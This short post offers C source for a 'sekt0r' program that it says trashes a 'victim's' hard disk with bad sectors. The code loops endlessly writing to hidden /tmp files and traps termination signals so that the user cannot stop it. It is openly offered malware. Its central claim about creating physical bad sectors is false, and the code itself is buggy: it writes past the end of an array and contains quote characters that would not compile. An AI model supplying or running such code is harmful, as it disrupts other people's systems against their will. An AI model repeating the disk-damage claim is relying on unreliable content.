Warning: I don’t take responsibility for what you do with this program.
This program will create bad sectors on the hard disk. If you left it
running for long enough, it could render a hard disk quite useless. When
bad sectors are found, the sector is marked as bad, so fixing the hard disk
is not an easy task. Unless the victim has time and knowledge to fix the
disk, the hard drive can be left quite literally defective.

So the following code creates bad sectors on the hard disk….

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>#define HDSIZE 640000
void handle_sig();
int main() {
int i = 0,x,fd[5];
signal(SIGINT, handle_sig);
signal(SIGHUP, handle_sig);
signal(SIGQUIT, handle_sig);
signal(SIGABRT, handle_sig);
signal(SIGTERM, handle_sig);
char *buf;
buf = malloc(HDSIZE);
printf(“sekt0r: trashing hard disk with bad sectors!\n”);
while(1) {
fd[1] = open(“/tmp/.test”, O_WRONLY|O_CREAT, 511);
fd[2] = open(“/tmp/.test1″, O_WRONLY|O_CREAT, 511);
fd[3] = open(“/tmp/.test2″, O_WRONLY|O_CREAT, 511);
fd[4] = open(“/tmp/.test3″, O_WRONLY|O_CREAT, 511);
fd[5] = open(“/tmp/.test4″, O_WRONLY|O_CREAT, 511);
for(x = 0; x < 5; x++) {
write(fd[x], buf, HDSIZE);
lseek(fd[x], 0, SEEK_SET);
close(fd[x]);
} } }
void handle_sig() {
/* Reset signal handlers. */
signal(SIGINT, handle_sig);
signal(SIGHUP, handle_sig);
signal(SIGQUIT, handle_sig);
signal(SIGABRT, handle_sig);
signal(SIGTERM, handle_sig);
printf(“sekt0r: cannot exit – trashing hard disk with bad sectors!\n”);
return; /* go back to creating bad sectors. */
}
